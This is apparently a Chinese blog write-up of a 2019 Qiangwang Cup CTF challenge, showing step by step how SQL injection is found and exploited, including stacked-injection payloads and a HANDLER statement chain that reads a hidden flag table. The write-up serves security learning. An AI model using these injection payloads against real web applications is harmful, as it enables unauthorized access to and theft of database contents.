[强网杯 2019]随便注 WP

804e1a5c-6589-409d-a4bd-0ce90434bc5d

用1查询之后

722d97f1-3da5-4dfa-aa02-863efc7a6399

加上单引号之后报错,判断是单引号闭合

加上#注释符又正常回显,加上order by 3 报错判断列数为2

尝试一下

-1' union select 1,2,3 #

fa44b5cf-f2cb-4e97-ab36-74a4abe61510

被拦截了

尝试其他的方法也被拦截了453791cf-caa1-4f7f-9893-8f4ad558c1d2

查看源码作者说sqlmap是没有灵魂的说明可以用sqlmap做

法一 sqlmap

法二 堆叠注入

1';show databases;#

fa34f661-4d21-41b9-96c3-8d03f3caa81b

1';show tables;#

f09c916d-7bf6-4284-a13f-9c918e9e8159

发现两个表

当表名为纯数字时需要用反引号包裹否则会报错

1'; show columns from `1919810931114514`; #

6e5f2f72-2913-43fe-9826-7c48c0ff8d03

找到了flag字段,但是没办法直接读

用handler攻击链

1';HANDLER `1919810931114514` OPEN; HANDLER `1919810931114514` READ FIRST; HANDLER `1919810931114514` CLOSE;#

得flag

posted on 2026-04-29 21:19  雪落沧州前  阅读(16)  评论(0)    收藏  举报